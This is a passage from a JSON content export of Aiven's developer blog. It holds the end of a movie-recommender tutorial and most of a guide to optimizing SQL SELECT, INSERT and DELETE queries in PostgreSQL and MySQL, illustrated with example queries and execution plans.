opacity-80\"\u003e🍿\u003c/div\u003e\n            \u003cdiv\u003e\n                \u003ch4 className=\"opacity-90 text-xl\"\u003eFrom {item.director}\u003c/h4\u003e\n                \u003cp className=\"opacity-50 text-sm\"\u003eYear {item.year}\u003c/p\u003e\n            \u003c/div\u003e\n            \u003ch1 className=\"text-4xl mt-6\"\u003e{item.title}\u003c/h1\u003e\n            \u003cp className=\"relative mt-6 text opacity-80 italic\"\u003e\n                {item.plot}\n            \u003c/p\u003e\n            \u003cdiv\u003e\n                \u003cp className=\"opacity-50 text-sm mt-6\"\u003e\n                    \u003ca\n                        href={item.wiki}\n                        className=\"underline decoration-transparent transition duration-300 ease-in-out hover:decoration-inherit\"\n                    \u003e\n                        {item.wiki}\n                    \u003c/a\u003e\n                \u003c/p\u003e\n            \u003c/div\u003e\n        \u003c/div\u003e\n    ))}\n\u003c/div\u003e\n```\n\nAnd that's it! You can also check out the final project in [this GitHub repository](https://github.com/Aiven-Labs/find-your-movie-clickhouse-vectorsearch).\n\n![What to expect at the end - a small demo searching in the movies for a lot of cute puppies](https://cdn.sanity.io/images/sczeoy4w/production/c7bf39cfd74e724c87c9f4fc142836fa046fdb0d-800x481.gif)","feature":{"_type":"featuredItem","active":false,"endDate":"2023-09-22T11:38:46.698Z"},"hierarchy":{"_ref":"34643944-d559-485e-93a0-7d1f94a744e7","_type":"reference"},"internalTags":[{"_key":"b0c2a1f760ca","_ref":"e518505d-84ca-4d42-8c11-077ba192bf3e","_type":"tag"},{"_key":"3d3ac8cbe187","_ref":"0a74c077-c383-4811-9951-c849b80df99b","_type":"tag"}],"publishedAt":"2023-10-12T10:00:00.000Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"The text \"Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js\" on a blue background with abstract shapes on the right and Aiven's logo in the bottom left.","asset":{"_ref":"image-b8f71ddd6352731859409127d4e23b4b7cd00a1b-1567x844-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/movie-recommender-clickhouse-huggingface-nextjs"},"subtitle":"Get an introduction to machine learning using Aiven services and the Hugging Face API to recommend movies based on Wikipedia synopses.","tags":[{"_key":"e490036b20cd","_ref":"94e23adc-203f-4482-b8df-63aeab555411","_type":"tag"},{"_key":"befe45b5986c","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"af3f9940600a","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"},{"_key":"abe3a753d88d","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"}],"title":"Find your perfect movie with ClickHouse®, vector search, Hugging Face API, and Next.js"}
{"__i18n_lang":"en","_createdAt":"2024-02-15T15:16:10Z","_id":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_rev":"Gc7Qq2PHZBylrD6rwQK6vD","_type":"devArticle","_updatedAt":"2024-08-05T11:56:27Z","body":"\nOk you got a database, how do you optimize SQL performances? To answer this question you need a lot of time and effort in order to understand workloads and performance patterns, evaluate degradation and apply corrective measures. However there are standard practices that you can implement to improve performances. This SQL optimization guide will showcase some best practices that apply across almost every database and can be a good starting point to optimize your database workloads.\n\n::alert[For a better understanding of your performance patterns and optimization opportunities, you can always rely on [Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer). With Aiven AI database optimizer you can monitor your PostgreSQL® and MySQL database, receive performance insights and retrieve index and SQL rewrite suggestions that can speed up your performance.]\n\n::alert[To boost your query performance check [Aiven AI SQL Optimizer](https://aiven.io/tools/sql-query-optimizer). Upload your query to receive index and SQL rewrite suggestions.]\n\n## How to optimize SELECT SQL queries \n\n\n### Optimize SELECT SQL queries by understanding the query execution plan\n\n**How**\n\nAll modern databases, like MySQL and PostgreSQL®, define an optimal query execution plan based on the cardinality of the various tables involved and the auxiliary data structures available like indexes or partitions. Both [MySQL](https://dev.mysql.com/doc/refman/8.0/en/using-explain.html) and [PostgreSQL](https://www.postgresql.org/docs/current/sql-explain.html) provide a command called `EXPLAIN` to show the execution plan of a statement. From the execution plan, you can understand how tables are joined, if an index is used, if a partition is pruned and many other aspects of the query execution that could alter the performance. The query plan gives hints about the cost of each operation and can flag if an index is not being used. \n\nTo get the execution plan of a query, prefix the query with `EXPLAIN` like the following:\n\n```sql\nEXPLAIN SELECT id\nFROM orders\nWHERE\norder_timestamp between '2024-02-01 00:00:00' and '2024-02-03 00:00:00' \nOR status = 'NEW';\n```\n\nThe database returns the plan showcasing, in this example, the usage of two indexes `idx_order_date` and `idx_order_status` and a `BitmapOr` between the two results.\n\n```\n                                                                                            QUERY PLAN\n---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\n Bitmap Heap Scan on orders  (cost=687.35..7149.18 rows=60333 width=4)\n   Recheck Cond: (((order_timestamp \u003e= '2024-02-01 00:00:00'::timestamp without time zone) AND (order_timestamp \u003c= '2024-02-03 00:00:00'::timestamp without time zone)) OR (status = 'NEW'::text))\n   -\u003e  BitmapOr  (cost=687.35..687.35 rows=60333 width=0)\n         -\u003e  Bitmap Index Scan on idx_order_date  (cost=0.00..655.75 rows=60333 width=0)\n               Index Cond: ((order_timestamp \u003e= '2024-02-01 00:00:00'::timestamp without time zone) AND (order_timestamp \u003c= '2024-02-03 00:00:00'::timestamp without time zone))\n         -\u003e  Bitmap Index Scan on idx_order_status  (cost=0.00..1.43 rows=1 width=0)\n               Index Cond: (status = 'NEW'::text)\n(7 rows)\n```\n\n\n**Warning**\n\nThe database optimizer will generate an execution plan based on the cardinality estimates. The closer these estimates are to the data in the table, the better the database will be able to define the optimal plan. A plan can also change over time, therefore, when performance of a query suddenly degrades, a change in the plan could be a possible cause. The plan will also depend on the table and additional supporting structures like indexes being created in the database, in the following section we'll analyze how additional structures can impact the performance.\n\n**Golden rule**\n\nSpend time understanding the query execution plan to find potential performance bottlenecks. Update the statistics, automatically or manually using the `ANALYZE` command, to provide the database up-to-date information about the various tables load.\n\n\n### Optimize SELECT SQL queries by using indexes\n\n**How**\n\nSeveral of the options defined above suggested the usage of indexes, but how should you use them? Indexes are a key performance booster when performing filtering, joining and ordering. Therefore it’s crucial to understand the query patterns and create proper indexes that cover the correct clauses. Both [PostgreSQL](https://www.postgresql.org/docs/current/indexes.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/mysql-indexes.html) offer a variety of index types, each one having peculiar characteristics and being well suited for some use-cases.\n\n\n![Database index at work](https://cdn.sanity.io/images/sczeoy4w/production/989c5c8c705d87953f3d058771589207f9048c5d-2800x2240.png)\n\n\n**Warning**\n\nAs mentioned in the DELETE and INSERT sections, any index added on a table slows down write operations. Moreover, indexes occupy space on disk and require maintenance. Therefore think carefully about which workloads you want to optimize and what is the set of indexes that could give you the best results.\n\n**Golden rule**\n\nUnlike database tables, indexes can be dropped and recreated without losing data. Therefore it’s important to periodically evaluate the set of indexes and their status. To check indexes usage, you can rely on the database system tables, like [PostgreSQL pg_stat_user_indexes](https://www.postgresql.org/docs/current/monitoring-stats.html) or the [MySQL table_io_waits_summary_by_index_usage](https://dev.mysql.com/doc/mysql-perfschema-excerpt/8.3/en/performance-schema-table-io-waits-summary-by-index-usage-table.html), providing up-to-date statistics about queries impacting the indexes. Once you identify used and unused indexes, evaluate the need of restructuring them in cases of workload change.\n\n**Pro tip**\n\nIndexes can be used on single columns, multiple columns or even functions. If you’re looking to filter data using, for example, an `upper(name)` function, you can index the output of the function for better performance. \n\n[Aiven AI Database Optimizer](https://aiven.io/solutions/aiven-ai-database-optimizer) can provide you index recommendations based on your database workloads.\n\n\n### Optimize SELECT SQL queries by improving joins\n\nJoins are frequently used in relational databases to select data coming from disparate tables. Understanding what join types are available and what they imply is crucial to achieve optimal performances. The following set of suggestions will help you identify the correct one.\n\n\n#### Optimize SELECT SQL queries by selecting inner joins\n\n**How**\n\nBoth MySQL and PostgreSQL offer a variety of join types allowing you to precisely define the set of rows to retrieve from both sides of the join. All of them are useful for one or another reason but not all of them have the same performance. The `INNER JOIN` retrieving only the rows contained on both sides of the dataset usually has optimal performance. The `LEFT`, `RIGHT`, and `OUTER` joins on the other side, need to perform some additional work compared to the `INNER JOIN` therefore should be used only if really necessary.\n\n![Type of Joins in relational databases](https://cdn.sanity.io/images/sczeoy4w/production/30e57c84b8b697348f740063bc132b071d136c96-3200x2040.png)\n\n\n**Warning**\n\nDouble check your queries, sometimes a query like the following seems legit:\n\n```sql\nSELECT * \nFROM ORDERS LEFT JOIN USERS ON ORDERS.NAME = USERS.NAME\nWHERE USERS.NAME IS NOT NULL \n```\n\nThe above is using a `LEFT JOIN` to retrieve all the rows from `ORDERS`, but then is filtering for rows having `USERS.NAME IS NOT NULL`. Therefore is equivalent to an `INNER JOIN`.\n\n**Golden rule**\n\nEvaluate the exact requirements for the `JOIN` statement, and analyze the existing `WHERE` condition. If not strictly necessary, prefer an `INNER JOIN`.\n\n**Pro Tip**\n\nCheck also if you can avoid a join altogether. If, for example, we are joining the data only to verify the presence of a row in another table, a subquery using `EXISTS` might be way faster than a join. Check a detailed example in the [How to speed up COUNT(DISTINCT)](https://www.eversql.com/how-to-speed-up-countdistinct/#Speed_up_COUNTDISTINCT_by_avoiding_explodeimplode_patterns_with_DISTINCTGROUP_BY) blog.\n\n\n#### Optimize SELECT SQL queries by using the same column type for joins\n\n**How**\n\nWhen joining two tables, ensure that the columns in the join condition are of the same type. Joining an integer `Id` column in one table with another `customerId` column defined as `VARCHAR` in another table will force the database to convert each `Id` to a string before comparing the results, slowing down the performance.\n\n\n![Set of steps required for non matching column types join condition](https://cdn.sanity.io/images/sczeoy4w/production/25356e62358ee5bc3b908df6ff581fdb40fbe363-2362x1010.png)\n\n\n**Warning**\n\nYou can’t change the source field type at query time, but you can expose the data type inconsistency problem and fix it in the database table. When analyzing if the `CustomerId` field can be migrated from `VARCHAR` to `INT`, check that all the values in the column are integers indeed. If some of the values are not integers, you have a potential data quality problem.\n\n**Pro Tip**\n\nWhen in doubt, prefer more compact representations for your joining keys. If what you’re storing can be unambiguously defined as a number (e.g. a product code like `1234-678-234`) prefer the number representation since it will: \n\n* Use less disk\n* Be faster to retrieve\n* Be faster to join since integer comparison is quicker than the string version\n\nHowever, beware of things that look like numbers but don't quite behave like them - for instance, telephone numbers like `015555555` where the leading zero is significant.\n\n#### Optimize SELECT SQL queries by avoiding functions in joins\n\n**How**\n\nSimilarly to the previous section, avoid unnecessary function usage in joins. Functions can prevent the database from using performance optimizations like leveraging indexes. Just think about the following query:\n\n```sql\nSELECT * \nFROM users \nJOIN orders ON UPPER(users.user_name) = orders.user_name\n```\n\nThe above uses a function to transform the `user_name` field to upper case. However this could be a signal of poor data quality (and a missing foreign key) in the `orders` table that should be solved.\n\n**Warning**\n\nQueries like the one above can showcase a data quality problem solved at query time which is only a short term solution. Proper handling of data types and quality constraints should be a priority when designing data backend systems. \n\n**Golden rule**\n\nIn a relational database, the joins between tables should be doable using the keys and foreign keys without any additional functions. If you find yourself needing to use a function, fix the data quality problem in the tables. In some edge cases using a function in conjunction with an index could help to speed up the comparison between complex or lengthy data types. For example, checking the equality between two long strings could potentially be accelerated by comparing initially only the first `50 characters`, using the joining function `UPPER(SUBSTR(users.user_name, 1, 50))` and an index on the same function. \n\n\n#### Optimize SELECT SQL queries by avoiding joins\n\n**How**\n\nQueries can be built over time by different people and have a lot of sequential steps in the shape of CTE (common table expression). Therefore it might be difficult to understand the actual needs in terms of data inputs and outputs. Most of the time, when writing a query, you can add an extra field “just in case it is necessary” at a later stage. However this could have tremendous effects on performance if the field is coming from a new table requiring a join. \n\nAlways evaluate the strict data needs of the query and include only the columns and the tables which contain this information.\n\n\n![Avoid unnecessary joins](https://cdn.sanity.io/images/sczeoy4w/production/9cd536becc3aa0b59c0f37cdd69aeaec76c698f9-3200x1148.png)\n\n\n**Warning**\n\nDouble check if the join is needed to filter rows existing in both tables. In the example above, we could end up with incorrect results if there are `user_id` present in the `orders` table that are not stored in the `id` column of the `users` table.\n\n**Golden rule**\n\nRemove unnecessary joins. It is far more performant to generate a slimmer query to retrieve the overall dataset and then perform a lookup for more information only when necessary.\n\n**Pro Tip**\n\nThe example explained above is just one case of `JOIN` overuse. Another example is when we are joining the data only to verify the presence of a row in another table. In such cases a subquery using `EXISTS` might be way faster than a join. Check a detailed example in the [How to speed up COUNT(DISTINCT)](https://www.eversql.com/how-to-speed-up-countdistinct/#Speed_up_COUNTDISTINCT_by_avoiding_explodeimplode_patterns_with_DISTINCTGROUP_BY) blog.\n\n\n### Optimize SELECT SQL queries by improving filtering\n\nAfter analyzing the JOIN condition it is now time to evaluate and improve the `WHERE` part of the query. Like the section above, subtle changes to the filtering statement can have a massive impact on query performance.\n\n\n#### Optimize SELECT SQL queries by avoiding functions in filtering\n\n**How**\n\nApplying a function to a column in the filtering phase slows down the performance. The database needs to apply the function to the dataset before filtering. Let’s take a simple example of filtering on a timestamp field:\n\n```sql\nSELECT count(*) \nFROM orders\nWHERE CAST(order_timestamp AS DATE) \u003e '2024-02-01';\n```\n\nThe above query on a 100.000.000 row dataset runs in `01 min 53 sec` because it needs to change the data type of the `order_timestamp` column from timestamp to date before applying the filter. But, that’s not necessary! As [EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization) suggests, if you give it the above query and table metadata, it can be rewritten to:\n\n```sql\nSELECT count(*) \nFROM orders\nWHERE order_timestamp \u003e '2024-02-01 00:00:00';\n```\n\nThe rewritten query uses the native timestamp field without casting. The result of such small change is that the query now runs in `20 sec`, nearly 6 times faster than the original.\n\n![Filter using native column types](https://cdn.sanity.io/images/sczeoy4w/production/264f4a794d334c7a6808b28bdf2ecf7b2854325a-3200x448.png)\n\n\n**Warning**\n\nNot all functions can be avoided, since some might be needed to retrieve parts of the column value (think about `substring` examples) or to reshape it. Nevertheless, every time you are about to add a function in a filter, think about alternative ways to use the native data type operators.\n\n**Golden rule**\n\nWhen applying a filter to a column, try to reshape the filter format rather than the column format. \n\nThe above is a perfect example: moving the filter format from the date `2024-02-01 `to the timestamp `2024-02-01 00:00:00` allowed us to use the native timestamp data format and operators.\n\n**Pro Tip**\n\nIf applying the function is a must, you can try the following two options:\n\n\n\n* Create an index on the expression, available in [PostgreSQL](https://www.postgresql.org/docs/current/indexes-expressional.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/create-index.html#create-index-functional-key-parts)\n* Use database triggers to populate an additional column with the transformation already in place\n\n\n#### Optimize SELECT SQL queries by improving subqueries\n\n**How**\n\nSubqueries are commonly used in filters to retrieve the set of values to be applied as filters. A common example is when needing to retrieve the list of users having recent activity.\n\n```sql\nSELECT *\nFROM users\nWHERE id IN (\nSELECT DISTINCT user_id \nFROM sessions \nWHERE session_date = '2024-02-01');\n```\n\nThe above query retrieves the distinct list of users from the `SESSIONS` table and then applies the filter on the `USERS` table. However, there are several, more performant, ways of achieving the same results. An example is using `EXISTS`:\n\n```sql\nSELECT * \nFROM users\nWHERE EXISTS (\nSELECT user_id \nFROM sessions \nWHERE user_id = id and session_date = '2024-02-01'\n);\n```\n\n`EXISTS` is faster since it doesn’t need to retrieve the list of distinct users from the `SESSION` table, but it just verifies the presence of at least one row in the table for a specific user. The use case above went from a performance of `02 min 08 sec` to `18 sec` by just changing the subquery section.\n\n**Warning**\n\nSubtle changes in the subquery could provide different results in corner cases. For an example of subtle differences in execution and result set check out [5 Ways to implement NOT EXISTS in PostgreSQL](https://www.eversql.com/5-ways-to-implement-not-exists-in-postgresql)\n\n**Golden rule**\n\nWhen needing to use subqueries, take time to learn and understand what are the options and what they allow you to achieve. Several times there’s more than one option and some functionalities will provide better response times.\n\n#### Optimize SELECT SQL queries by paginating results\n\n**How**\n\nWhen needing to display a long list of rows, it’s useful to paginate the results retrieved from the database. Both [PostgreSQL](https://www.postgresql.org/docs/current/queries-limit.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/select.html) offer the functionality to `LIMIT` the output to retrieve only a certain amount of rows and to `OFFSET` the result set by retrieving only rows in a specific range based on ordering. Using `LIMIT` and `OFFSET` is a good way to minimize the data sent to clients to only the one needed to be displayed.\n\n![Paginate results](https://cdn.sanity.io/images/sczeoy4w/production/534d7ce4e98c8f932a4bc8df0514cf65f430d6ef-2830x1640.png)\n\n\n**Warning**\n\nThe drawback of using `LIMIT` and `OFFSET` is that you’ll need a query for each “page” to be sent and executed to the database. This could be inconvenient if the overall number of rows is not far from the page size. As example, if you’re showing results in pages of `10` rows, but there are on average `15` rows to display, it might be better to retrieve the entire dataset at once.\n\n**Golden rule**\n\nIf the size of the resultset is an order of magnitude larger than the page size, using paging can be an effective way to ensure better performance, since only the visible dataset will be retrieved from the database.\n\n**Pro tip**\n\nThe `LIMIT` and `OFFSET` clauses are the default pagination method in most databases. However, more efficient paging implementations can be achieved by storing the starting and ending offsets of the current page on the client side and pushing the filtering for the following page in the `WHERE` clause of the SQL statement. A couple of examples of this implementation are available in the [Pagination done the PostgreSQL Way](https://use-the-index-luke.com/blog/2013-07/pagination-done-the-postgresql-way) presentation by Markus Winand and in the [faster pagination in MySQL blog](https://www.eversql.com/faster-pagination-in-mysql-why-order-by-with-limit-and-offset-is-slow/).\n\n#### Optimize SELECT SQL queries by moving filters from HAVING to WHERE clause\n\n**How**  \n\nWhen running a query the filters defined in the `WHERE` and `HAVING `clauses are applied at different times:\n\n\n\n* The `WHERE` filters are applied on the raw dataset, before any data transformation defined in the `SELECT` statement is applied\n* The `HAVING` filters are applied post aggregation, therefore after all the rows have been retrieved, transformed and rolled up.\n\nTherefore moving filters in the `WHERE` section should be a priority since it allows you to work on a smaller dataset. An example is if we try to get the list of dates for which we have a session with a tracked `user_id` (the `user_id` field is not null, to know more about the difference check the [COUNT DISTINCT blog post](https://www.eversql.com/how-to-speed-up-countdistinct/))\n\n```sql\nSELECT session_date, count(user_id) nr_sessions\nFROM sessions\nGROUP BY session_date\nHAVING count(user_id) \u003e 0;\n```\n\nWe can rewrite the above query by pushing the filter into the `WHERE` clause with:\n\n```sql\nSELECT session_date, count(user_id) nr_sessions\nFROM sessions\nWHERE user_id is not null\nGROUP BY session_date\n```\n\nThe query performance, on a `100.000.000` rows dataset went from `21 sec` to `18 sec` with just a change in the filters statement.\n\n**Warning**\n\nMoving filters from the `HAVING` to the `WHERE` clause is possible only if we can determine a similar condition that applies at row level instead of the one applying at aggregate level.\n\n**Golden rule**\n\nAlways try to filter in the `WHERE` clause since the filtering applies before the data is transformed/aggregated by the `SELECT` statement.\n\n\n### Optimize SELECT SQL queries by defining the columns to be retrieved\n\n**How**\n\nWhen querying a table, it’s key to identify which columns need to be retrieved. The `SELECT * FROM TBL` is often used as a shortcut to retrieve all columns and then define which need to be shown at a later stage, however when doing so, more data needs to be retrieved from the database and transmitted, impacting the performance.\n\n![Define the columns to be retrieved](https://cdn.sanity.io/images/sczeoy4w/production/6d6fc299df6da45e92bd61893276cbcd72b6e1a0-3200x800.png)\n\n**Warning**\n\nIt's not only that using `SELECT * FROM TBL` often retrieves more data than necessary, it is also prone to errors. Just think about a new column being added, that is instantly shown in an application or a removed column in the database now breaking the front-end parsing. By cautiously defining the list of columns to be retrieved you precisely state the data needs of your query.\n\n**Golden rule**\n\nEvery `SELECT` statement should only define the list of columns needed to accomplish the job. \n\n\n### Optimize SELECT SQL queries by using aggregate functions\n\n**How**\n\nSometimes the objective is to query a table to get the overall count of rows, or the aggregate value for a certain set of columns. In such cases extracting all the data from the database and performing the computation elsewhere is a bad idea. We can make use of the native database aggregation functionality to make the computation where the data resides, move less data around and achieve better overall performance.\n\n![Perform aggregations in the database](https://cdn.sanity.io/images/sczeoy4w/production/93162a251ed33078aa6adf893d010ef85ee00f11-3200x710.png)\n\n\nIf you’re trying to count the distinct values within columns, we have an article dedicated to [how to enhance the COUNT DISTINCT query speed](https://www.eversql.com/how-to-speed-up-countdistinct/).\n\n**Warning**\n\nWhile database aggregate functions cover a wide range of needs (see [PostgreSQL](https://www.postgresql.org/docs/current/tutorial-agg.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/aggregate-functions.html)), they might not contain the exact calculation you need to perform. In such cases, understand what is the minimal granularity you need to extract and aggregate at that level.\n\n**Golden rule**\n\nWhen needing to perform aggregation, check the database functions available. Despite the fact that one of the database scaling rules is to be biased towards client side, pushing the aggregation there, it is often worth using the aggregations server side to diminish the amount of data transmitted to the client. Moreover, databases can implement advanced techniques to optimize the aggregation calculation.\n\n\n### Optimize SELECT SQL queries by using window functions\n\n**How**\n\nWindow functions, available in [PostgreSQL](https://www.postgresql.org/docs/current/tutorial-window.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/window-functions-usage.html), provide a way to calculate aggregated values and compare them with the current row value. They can be really useful when needing, for example, to calculate the overall contribution of a certain sale to the overall country total. Using window functions allows you to simplify the query SQL and take advantage of the database optimizer to decide the best set of actions needed to retrieve the data.\n\n![Use Database window functions](https://cdn.sanity.io/images/sczeoy4w/production/3d7a3b12f48b3c99bfdb754baf82b87f60ad2a35-3200x1168.png)\n\n\n**Warning**\n\nWindow functions don’t change the cardinality of the dataset. For example, if you’re retrieving data at ORDER level, the window function will still emit one line per order. Evaluate the cardinality of data you need in the output and then decide whether to use window or aggregate functions.\n\n**Golden rule**\n\nSimilarly to above, adopting window functions can be a powerful method to pre-compute calculations before sending data to clients. Yet the code to generate them is quite verbose. Define your priority between full query SQL optimization and code readability and maintainability.\n\n**Pro tip**\n\nThe windows functions are not only useful for aggregating content at a certain level, but they also expose an `ORDER BY` statement allowing you to perform running calculations.\n\n\n### Optimize SELECT SQL queries by using partitions\n\n**How**\n\nAnother technique to speed up SELECT performance, is to segment the data into multiple sub-tables called partitions. Partitioning is available in [PostgreSQL](https://www.postgresql.org/docs/current/ddl-partitioning.html) and [MySQL](https://dev.mysql.com/doc/refman/8.0/en/partitioning.html) to split the data across a number of tables depending on a predicate. If you frequently need to retrieve the data with a specific filter, for example a date, you might want to organize it in different partitions, one per day, so the majority of queries will only scan a partition instead of the whole data set.\n\n![Use table partitioning](https://cdn.sanity.io/images/sczeoy4w/production/cf3970b88babc839b00dad1e3268ba5e8e782088-3200x870.png)\n\n\n**Warning**\n\nDespite partitioning being “invisible” from the user (a certain user can query the original table and select data from all partitions), you need to take into account its management. Specifically for LIST partitioning, when a new key is inserted, a proper partition needs to be created upfront otherwise the insert will fail.\n\n**Golden rule**\n\nPartitioning can be very useful in contexts where there are consistent query patterns filtering the dataset using the same key. Partitioning tables without clear filtering criteria only adds workload to the database, making every query slower.\n\n\n### Optimize SELECT SQL queries by using materialized views\n\n**How**\n\nMaterialized views, available in [PostgreSQL](https://www.postgresql.org/docs/current/rules-materializedviews.html), are a great way to speed up `SELECT` statements by pre-calculating the results. Materialized views differ from standard views since:\n\n* They store the result of the query in a table\n* They need to be refreshed to provide up-to-date results\n\nStill, if you have read intense environments with rare writes, paying the price for a materialized view refresh that can be used by several reads might be an optimal method to increase your query performance.\n\n![Use Materialized views to pre-aggregate data](https://cdn.sanity.io/images/sczeoy4w/production/143bfd76b516d9958add46f1c4cce5810cdbb47b-3200x1510.png)\n\n\n**Warning**\n\nAs mentioned above, materialized views are static objects, they are not automatically updated on every insert/update/deletion of the underlying set of tables. Therefore it is crucial to keep in mind that querying a materialized view could provide different results from querying the original tables.\n\n**Golden rule**\n\nIf your primary goal is to have better performance at the cost of not retrieving up-to-date results, then materialized views are a perfect solution. Keep in mind that materialized views occupy space on disk and their creation or refresh are time and performance consuming. \n\n**Pro tip**\n\nMaterialized views are great in cases where complex queries are scanning data in the past that can’t be updated. In such cases creating a materialized view for old data and querying the source tables live for fresh data could be a good mix of providing optimal performance without reporting stale data.\n\n\n## How to optimize INSERT SQL queries\n\n\n### Optimize INSERT SQL queries by using dedicated functionality\n\n**How**\n\nThe standard practice to load data in a database is to use the `INSERT` statement. However some databases have dedicated tooling to insert big chunks of data directly from source files in a variety of formats like binary or CSV. \n\nTools like [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) allow you to directly point to a CSV or binary file and are optimized for loading huge amounts of data, usually resulting in faster ingestion times compared to a series of `INSERT` statements.\n\n**Warning**\n\nWhile both [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) will be faster than loading each row in a separate `INSERT` statement, they will both load the data in one big transaction putting the database under stress. Moreover, the long transaction will also be a bottleneck in the replication process, increasing the lag while the replicas are replaying it. Moreover, if a backup is taken **while** the big transaction is happening, a restore will be forced to rollback all the changes already stored in the backup, making the restore process slower.\n\n**Golden rule**\n\nTry to find the optimal spot between ingestion throughput and transaction size. Splitting a massive data file in smaller chunks and loading it using [PostgreSQL COPY](https://www.postgresql.org/docs/current/sql-copy.html) or MySQL [LOAD DATA](https://dev.mysql.com/doc/refman/8.0/en/load-data.html) could be the perfect middleground giving you the required speed but not adding too much stress to the database.\n\n**Pro tip**\n\nIf the data in the source file doesn’t match the format of the target table(s), reshaping the source data properly by using an external script might be faster than loading the data in a temporary table and then reshaping it in the database.\n\n\n### Optimize INSERT SQL queries by removing unnecessary indexes\n\n**How**\n\nIndexes are widely adopted to speed up database read patterns, however they create a penalty for every write operation (`INSERT`/`UPDATE`/`DELETE`) since the database needs to update both the source table and the index. \n\n![INSERT statement modifies both the table and the index structure](https://cdn.sanity.io/images/sczeoy4w/production/1050482e5c802aab4650584cb674d6bdc6dc6542-3160x2360.png)\n\n\nTherefore, to optimize write workloads, you might want to check if all the indexes in your table(s) are necessary and actively used by your read patterns. To check indexes usage, you can rely on the database system tables, like [PostgreSQL pg_stat_user_indexes](https://www.postgresql.org/docs/current/monitoring-stats.html) or the [MySQL table_io_waits_summary_by_index_usage](https://dev.mysql.com/doc/mysql-perfschema-excerpt/8.3/en/performance-schema-table-io-waits-summary-by-index-usage-table.html), providing up-to-date statistics about queries impacting the indexes. An example of PostgreSQL 16 `pg_stat_user_indexes` output is the following:\n\n```\n relid | indexrelid | schemaname | relname |   indexrelname   | idx_scan |         last_idx_scan         | idx_tup_read | idx_tup_fetch\n-------+------------+------------+---------+------------------+----------+-------------------------------+--------------+---------------\n 16460 |      16466 | public     | orders  | idx_order_date   |        1 | 2024-01-01 11:15:10.410511+00 |           10 |            10\n 16460 |      16465 | public     | orders  | idx_order_status |        4 | 2024-02-08 11:16:00.471185+00 |            0 |             0\n(2 rows)\n\n```\n\nWhere we can see that both the `idx_order_date` and `idx_order_status` indexes have been scanned one and four times respectively, with `idx_order_date` being scanned the last time on `2024-01-01 11:15:10.410511+00`. Since the index hasn’t been used since January, it could be a good candidate for deletion.\n\n[EverSQL by Aiven](https://www.eversql.com/?utm_medium=organic\u0026utm_source=ext_blog\u0026utm_content=aivensqloptimization) provides a redundant index detection capability that can automate the discovery of unused indexes.\n\n![EverSQL by Aiven index suggestion](https://cdn.sanity.io/images/sczeoy4w/production/4bd7231f3d5c5414d773fe6b369ecb6340ba5c2b-3200x1152.png)\n\n\nOnce you identify unused indexes, dropping them will provide benefits in terms of write performance and less disk space usage.\n\n**Warning**\n\nIndexes are key to speed up read operations, and dropping them could have an impact on all `SELECT` queries. Understanding the read/write patterns in your database is crucial to optimize the whole experience rather than just one ingestion statement.\n\n**Golden rule**\n\nAnalyze the overall database workload and define performance optimization priorities. Based on these, evaluate the overall set of indexes available and define which need to be kept or can be dropped.\n\n**Pro tip**\n\nIf your data load statements happen during quiet read timings, like when loading a data warehouse overnight, you might obtain better ingestion performances by:\n\n* Disabling indexes\n* Loading the data\n* Re-enabling indexes\n\n\n### Optimize INSERT SQL queries as if it was a SELECT statement\n\n**How**\n\nIn many cases `INSERT` statements contain business logic parts, exactly as `SELECT` queries, meaning they can contain `WHERE` clauses, subqueries, and more.\n\nExtracting the internal part of the query and optimizing it (via indexing, partitioning, query rewriting, etc.) as if it was a `SELECT` query can result in performance improvements.\n\n**Warning**\n\nThe `INSERT` is a write workload for the database, therefore you need to be cautious in finding the exact boundaries of where the business logic in the `INSERT` statement can be accelerated without compromising the read workload's performance.\n\n**Golden rule**\n\nIf your `INSERT` statement is selecting data from another table(s) in the database you can follow the rules detailed in the `SELECT` section. If you have clear data boundaries used in both `INSERT` and `SELECT` statements (`WHERE` conditions), then partitioning the tables could speed up both processes. \n\n\n## How to optimize DELETE SQL queries\n\n\n### Optimize DELETE SQL queries by removing unnecessary indexes\n\n**How**\n\nLikewise insert also deletes (and updates) performance can benefit from removing unnecessary indexes. \n\n**Warning**\n\nDepending on the workload, deletes might not be as frequent as insert/updates. Over optimizing for deletes might have drawbacks in performance or complexity of more common read/write patterns.\n\n**Golden rule**\n\nAnalyze the overall database workload and define performance optimization priorities. Based on these, evaluate the overall set of indexes available and define which need to be kept or can be dropped.\n\n\n### Optimize DELETE SQL queries by using TRUNCATE\n\n**How**\n\nIf your aim is to delete **all** the rows from a table, `TRUNCATE` is your friend. Available in both PostgreSQL and MySQL (as well as other databases), the truncate doesn’t perform a tuple-by-tuple deletion but it just tells the database to store all the new table’s data in a new empty location. It’s therefore much faster compared to a `DELETE FROM TABLE`.\n\n![Use TRUNCATE to delete all rows from a table](https://cdn.sanity.io/images/sczeoy4w/production/722a212d049c6fb8fcddc09a5fb83c8999b37256-2400x2320.png)\n\n\n**Warning**\n\nThe truncate works only if you need to delete **ALL** the rows from a table. If you need only to delete a specific set of rows, this is not an option and possibly you should look at partitioning. `TRUNCATE` and `DELETE` have different privileges, needs and execution, understanding them (in [MySQL](https://dev.mysql.com/doc/refman/8.0/en/truncate-table.html) and 